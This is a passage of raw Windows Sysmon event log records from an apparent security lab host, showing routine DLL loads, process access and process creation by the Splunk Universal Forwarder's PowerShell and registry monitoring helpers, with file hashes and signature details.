CorporationOLE32.DLLMD5=676B0A1FB2A01D19AECB1F19883B6FC4,SHA256=56DEB219840DBAF9DAF645AD5D79AF9AB05F20E688382854DD487F440B257552,IMPHASH=9724475F92787AFC45A3BA458C0DCDC5trueMicrosoft WindowsValid 734700x800000000000000052156Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:19.324{7BD73061-7303-613B-6B0B-00000000F001}5964C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\vcruntime140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationvcruntime140.dllMD5=0C583614EB8FFB4C8C2D9E9880220F1D,SHA256=6CADB4FEF773C23B511ACC8B715A084815C6E41DD8C694BC70090A97B3B03FB9,IMPHASH=2CB5DA5225E972A08F32D04B8085DC7EtrueMicrosoft CorporationValid 734700x800000000000000052155Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:19.324{7BD73061-7303-613B-6B0B-00000000F001}5964C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\gdi32.dll10.0.14393.4169 (rs1_release.210107-1130)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=551D603CEC947F586DB9FADEF4D2EBA6,SHA256=143125EFF9F3BC5B3F3BE505F3C3814393807B9CACB6AA5F75D39C77EC0D4ED8,IMPHASH=A24D446CB7FCBB6D29B592603C0BE00CtrueMicrosoft WindowsValid 734700x800000000000000052154Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:19.324{7BD73061-7303-613B-6B0B-00000000F001}5964C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\Wldap32.dll10.0.14393.3269 (rs1_release.190929-1234)Win32 LDAP API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWLDAP32.DLLMD5=12D6C3E8AC705BB42D377C05714F551C,SHA256=E67F6DB96F062A319312C365F1F55B2B38B0F90B77FFDA2522418709CBA45EB3,IMPHASH=D13722FCCB1CDD38974ADB7277D98799trueMicrosoft WindowsValid 734700x800000000000000052153Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:19.324{7BD73061-7303-613B-6B0B-00000000F001}5964C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\win32u.dll10.0.14393.0 (rs1_release.160715-1616)Win32uMicrosoft® Windows® Operating SystemMicrosoft CorporationWin32u.DLLMD5=6A40F9C63B52CB4E8271CF3418618033,SHA256=A2BE23DA7AADFA9118130C939CD59D86E590957172FF404511EE6C5EC5147F15,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000052152Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:19.324{7BD73061-7303-613B-6B0B-00000000F001}5964C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\adsldpc.dll10.0.14393.0 (rs1_release.160715-1616)ADs LDAP Provider C DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationadsldpcMD5=F03FD7F523CFDBB96B0F3B8012FC161D,SHA256=8218E5AC2D7A52A2D50CD8D3CC8AA8CE4E37D1BDECFA62BC2637AA32A01CBA54,IMPHASH=AFF2E9AF6DD20912DC1E604BDBCA3761trueMicrosoft WindowsValid 734700x800000000000000052151Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:19.324{7BD73061-7303-613B-6B0B-00000000F001}5964C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\user32.dll10.0.14393.4169 (rs1_release.210107-1130)Multi-User Windows USER API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationuser32MD5=883B59C5557E8A9B3C1E1ED1CA48CD5A,SHA256=271800C20A96587265BF83DE2EFC11329EEB2B6C0D57E5E0BCD137FB96BFE6E3,IMPHASH=070F257E4632BC576557C4085595EAA4trueMicrosoft WindowsValid 734700x800000000000000052150Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:19.324{7BD73061-7303-613B-6B0B-00000000F001}5964C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\archive.dll-----MD5=98978F08A7A0D24C92FE8DC5287A8258,SHA256=CBB940A38E834C0BE44884C667863F76D6700D564043F90B3EB813370C3174E7,IMPHASH=86B04733169A315F437478D1C9AA6193trueSplunk, Inc.Valid 734700x800000000000000052149Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:19.324{7BD73061-7303-613B-6B0B-00000000F001}5964C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\ws2_32.dll10.0.14393.3241 (rs1_release_inmarket.190910-1801)Windows Socket 2.0 32-Bit DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationws2_32.dllMD5=06E82905620845A7C185BDEE85CC4140,SHA256=B75C9B080293F85568912BABE749F403144959206F9C6BAB36B628E8F77C5DA0,IMPHASH=76A5AA3DF6083D853F576403C8F841A8trueMicrosoft WindowsValid 734700x800000000000000052148Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:19.324{7BD73061-7303-613B-6B0B-00000000F001}5964C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\libeay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/libeay32.dllMD5=6445BD4247E3956B244772F3C415585F,SHA256=2B08FC9E160AD0F698226DA3E30A12551E8EBCCA1E7287E3915EC62B58151A78,IMPHASH=838F909F0A52D977E0B8662364FA0BFEtrueSplunk, Inc.Valid 734700x800000000000000052147Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:19.324{7BD73061-7303-613B-6B0B-00000000F001}5964C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec-openssl.dll-----MD5=F30BB43EC30BE50400780223450492CD,SHA256=867D0453E285A5C29A4EFA039D2399662DCCAC98F88C46B0A41CEFB6B68DD836,IMPHASH=464BF3FDF330E6A15D24CC679EF7F72EtrueSplunk, Inc.Valid 734700x800000000000000052146Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:19.324{7BD73061-7303-613B-6B0B-00000000F001}5964C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec.dll-----MD5=D98BAB348C28C8CFCC11EDB575E2557A,SHA256=ADA3F1256B175ECC390F126D2730D7A1AAB5A53F1AF205A7667D8010416602F9,IMPHASH=3295DC2518E43BEF226F8847873D20C2trueSplunk, Inc.Valid 734700x800000000000000052145Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:19.324{7BD73061-7303-613B-6B0B-00000000F001}5964C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\rpcrt4.dll10.0.14393.4467 (rs1_release.210604-1844)Remote Procedure Call RuntimeMicrosoft® Windows® Operating SystemMicrosoft Corporationrpcrt4.dllMD5=B0C4BF9491FB453B77399E3C56C11DC8,SHA256=66D5D1B3D25D15EA8737C8B2EF83E770BA10931868F24DCACC50936F0A0BAC08,IMPHASH=EB45E6A4165ECBE63E7CA7D14DE0BD8EtrueMicrosoft WindowsValid 734700x800000000000000052144Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:19.324{7BD73061-7303-613B-6B0B-00000000F001}5964C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\ucrtbase.dll10.0.14393.3659 (rs1_release_1.200410-1813)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationucrtbase.dllMD5=9804D130E8E7178738C2B9808091B427,SHA256=6053B7CC85846F15094475116A8C57BA89FE99FDD1978C54E8A7E2114E318FE3,IMPHASH=57ABD1FDE351971A01E912069E11B44CtrueMicrosoft WindowsValid 734700x800000000000000052143Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:19.324{7BD73061-7303-613B-6B0B-00000000F001}5964C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\ssleay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/ssleay32.dllMD5=B20FA07A7A61791EE537B5945429E141,SHA256=EF53BC2AB58BC548EFA249B0B8F2E1FBB9D4739EF27B0C67DFF1468D555329D3,IMPHASH=E09B42A7EA1725DA2CD99223AD969C63trueSplunk, Inc.Valid 734700x800000000000000052142Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:19.324{7BD73061-7303-613B-6B0B-00000000F001}5964C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\sechost.dll10.0.14393.3808 (rs1_release.200707-2105)Host for SCM/SDDL/LSA Lookup APIsMicrosoft® Windows® Operating SystemMicrosoft Corporationsechost.dllMD5=E6B98644CD3B912C44C39CC0996790A9,SHA256=23BE56E1B8DBA449C0959753175BD15457EC88E93E9E8B86489266347959A6F2,IMPHASH=D6E06125849E8565A50F366A0149FB40trueMicrosoft WindowsValid 734700x800000000000000052141Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:19.324{7BD73061-7303-613B-6B0B-00000000F001}5964C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\libxslt.dll-----MD5=B8D3119CE62331C6A9B170DA0A608F28,SHA256=7D6C6B7C542B4E67AA468FEB12044E2EE34CE8F8A68C7665D7861F3363B6E66A,IMPHASH=06C8C57E25207671F4639FDBFA0212ECtrueSplunk, Inc.Valid 734700x800000000000000052140Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:19.324{7BD73061-7303-613B-6B0B-00000000F001}5964C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\libxml2.dll2.9.9libxml2 librarylibxml2-libxml2.dllMD5=0E7B7B3B25A2F094EB3A7BAF471154B8,SHA256=6CFAC8D8D5B7345F2C6CC82CBF8F9DD475881EA260346BE283E52B822F2CCAC1,IMPHASH=6DA659461618DB73B9BD17D114677D20trueSplunk, Inc.Valid 734700x800000000000000052139Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:19.324{7BD73061-7303-613B-6B0B-00000000F001}5964C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\msvcrt.dll7.0.14393.2457 (rs1_release_inmarket.180822-1743)Windows NT CRT DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcrt.dllMD5=0AF8989DD67A135B536CF948E3EFB7EB,SHA256=C693DA0EF4DCF3BC244661B9FD280FE12C3053FDD7B977712C0CF210831B2EF4,IMPHASH=07D6F84E3C8FD0D2C32F9398A0369BAFtrueMicrosoft WindowsValid 734700x800000000000000052138Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:19.324{7BD73061-7303-613B-6B0B-00000000F001}5964C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\activeds.dll10.0.14393.4169 (rs1_release.210107-1130)ADs Router Layer DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationADsMD5=C62947CD1080E3B128B517AE91B22D6D,SHA256=6BB5D8967F822B5B1646DC9069212914D36C4D3D65E086AC0890B6A02112B438,IMPHASH=C7DF3F2CF025F0BEDA797705E4F4AFBBtrueMicrosoft WindowsValid 734700x800000000000000052137Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:19.324{7BD73061-7303-613B-6B0B-00000000F001}5964C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\advapi32.dll10.0.14393.4467 (rs1_release.210604-1844)Advanced Windows 32 Base APIMicrosoft® Windows® Operating SystemMicrosoft Corporationadvapi32.dllMD5=A8CDCAC5C32D14ED8AADDF5489FC5D55,SHA256=140F07A8F6780DAFE20CC4FBE86C9332FB2F0C26ED8F49914BD05265C63EF6F1,IMPHASH=B511E4B82A44D3731CDA46A74F5D57EAtrueMicrosoft WindowsValid 10341000x800000000000000052136Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:19.324{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-7303-613B-6B0B-00000000F001}5964C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000052135Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:19.324{7BD73061-7303-613B-6B0B-00000000F001}5964C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\KernelBase.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationKernelbase.dllMD5=0F627827D9CFFA8E0BCF30F013FB7209,SHA256=EA47C3E471801ACA92EE449C66CF785EA670ADE92A5A2D5CDB81C93DD72ABEF0,IMPHASH=05349EBAA635D77714868763D44881E9trueMicrosoft WindowsValid 734700x800000000000000052134Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:19.324{7BD73061-7303-613B-6B0B-00000000F001}5964C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\kernel32.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel32MD5=A5AD62615D2361BFAEC6C047B199184C,SHA256=B43F3DFDAF7BAA7A2B97015631F96CE429C50348D380080CFC29C36F959D7886,IMPHASH=3CE0779E0F4E275CD51A359A98CCC682trueMicrosoft WindowsValid 734700x800000000000000052133Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:19.324{7BD73061-7303-613B-6B0B-00000000F001}5964C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\ntdll.dll10.0.14393.4530 (rs1_release.210705-0736)NT Layer DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationntdll.dllMD5=36B87C41EE39F3051D116F735EBEF866,SHA256=9C45BAE6D7E27B3AE04BBF88B96686C04ED6A43695558E82B687013BA0383F8A,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000052132Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:19.324{7BD73061-7303-613B-6B0B-00000000F001}5964C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe-----MD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1CtrueSplunk, Inc.Valid 10341000x800000000000000052131Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:19.324{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000052130Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:19.324{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000052129Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:19.324{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-7303-613B-6B0B-00000000F001}5964C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000052128Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:19.324{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000052127Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:19.324{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000052126Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:19.324{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-7303-613B-6B0B-00000000F001}5964C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000052125Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:19.325{7BD73061-7303-613B-6B0B-00000000F001}5964C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe-----"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 734700x800000000000000052278Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:20.903{7BD73061-7304-613B-6D0B-00000000F001}5948C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\cryptbase.dll10.0.14393.0 (rs1_release.160715-1616)Base cryptographic API DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptbase.dllMD5=51FCB0FDEFCB9A3E4A1DC8C8673BC63C,SHA256=63A0E1A76B7ABCF56E44B548568649FFB6B5609402746D48A4DC77CCED20F5FE,IMPHASH=9E9C9DFD04CDDF2B6F1412BF096AEAF4trueMicrosoft WindowsValid 734700x800000000000000052277Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:20.903{7BD73061-7304-613B-6D0B-00000000F001}5948C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\rsaenh.dll10.0.14393.4467 (rs1_release.210604-1844)Microsoft Enhanced Cryptographic ProviderMicrosoft® Windows® Operating SystemMicrosoft Corporationrsaenh.dllMD5=28140830C342F475A597B2D54C42DFFA,SHA256=99E23D0177C6DC59AD72DEEC46CFB995828EF567F001261BC65532B6DDEAD862,IMPHASH=C918D75BDB7774C087BB6C0C9C0A7686trueMicrosoft WindowsValid 734700x800000000000000052276Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:20.903{7BD73061-7304-613B-6D0B-00000000F001}5948C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\cryptsp.dll10.0.14393.2969 (rs1_release.190503-1820)Cryptographic Service Provider APIMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptsp.dllMD5=9500AE4C4B639FEAEED0CC6C39F45149,SHA256=C1055D4B9A854282336A5404CA0FCB1A2EBC3417600035338C9CDFC7B8D0778C,IMPHASH=96CBD1B5C0EA88B677BA3BB5FD009869trueMicrosoft WindowsValid 734700x800000000000000052275Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:20.903{7BD73061-7304-613B-6D0B-00000000F001}5948C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\srvcli.dll10.0.14393.0 (rs1_release.160715-1616)Server Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationSRVCLI.DLLMD5=656F846CAED76C6FC5C76E8BACEF4EF6,SHA256=DFDE27C086764ACC1EA3E6A4E2BA50C2AB532F9E1D99203861F51910A8D850FB,IMPHASH=B15A9E7274075AC5A54930989FAC32E4trueMicrosoft WindowsValid 734700x800000000000000052274Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:20.903{7BD73061-7304-613B-6D0B-00000000F001}5948C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\bcrypt.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcrypt.dllMD5=63231EA984BC614584102A96D4F35CB4,SHA256=13C5BD283C01B0D50D8D0D99E88FC67F9234FA14A6860AB2B6EE552199FF6A74,IMPHASH=7C2E79D83754439DC7DE7882DCB4238DtrueMicrosoft WindowsValid 734700x800000000000000052273Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:20.903{7BD73061-7304-613B-6D0B-00000000F001}5948C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\wkscli.dll10.0.14393.0 (rs1_release.160715-1616)Workstation Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWKSCLI.DLLMD5=3DCBAE237E4E1F0EBE8E7DC053F778C4,SHA256=C3331CCBE71CC98A5F1BC013F1C0218FE194CA7B497DDF706BF9025AB5A7B330,IMPHASH=050C8F7AA588BF04847F59B2EFAE366AtrueMicrosoft WindowsValid 734700x800000000000000052272Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:20.903{7BD73061-7304-613B-6D0B-00000000F001}5948C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\netutils.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API Helpers DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNETUTILS.DLLMD5=504739A17F3A05531258784275A6F375,SHA256=A931C54C47B454407990241DB12BD209AC219C55F026ADDED427A9E84A409923,IMPHASH=7D1B32891B9173ED71ED6C18DEFEE578trueMicrosoft WindowsValid 734700x800000000000000052271Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:20.903{7BD73061-7304-613B-6D0B-00000000F001}5948C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\netapi32.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNetApi32.DLLMD5=F55166956AEAD05A141BA7E80B90AB7B,SHA256=B9BCF21D7F7E771C388C469B2611E8946166C62005B56D72421060DABFF7093F,IMPHASH=2D83F1DFF12EFB449C1FCD6634700369trueMicrosoft WindowsValid 734700x800000000000000052270Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:20.888{7BD73061-7304-613B-6D0B-00000000F001}5948C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Program Files\SplunkUniversalForwarder\bin\msvcp140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationmsvcp140.dllMD5=BA72C2F6F465926980ADC2FB7F8B3490,SHA256=86881A7054532019291C162F0A8177980C1C2B45490F7E88543F22915D08D9FF,IMPHASH=ADF99B9EA3A1F76C33522F96772BC4DDtrueMicrosoft CorporationValid 734700x800000000000000052269Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:20.888{7BD73061-7304-613B-6D0B-00000000F001}5948C:\Program 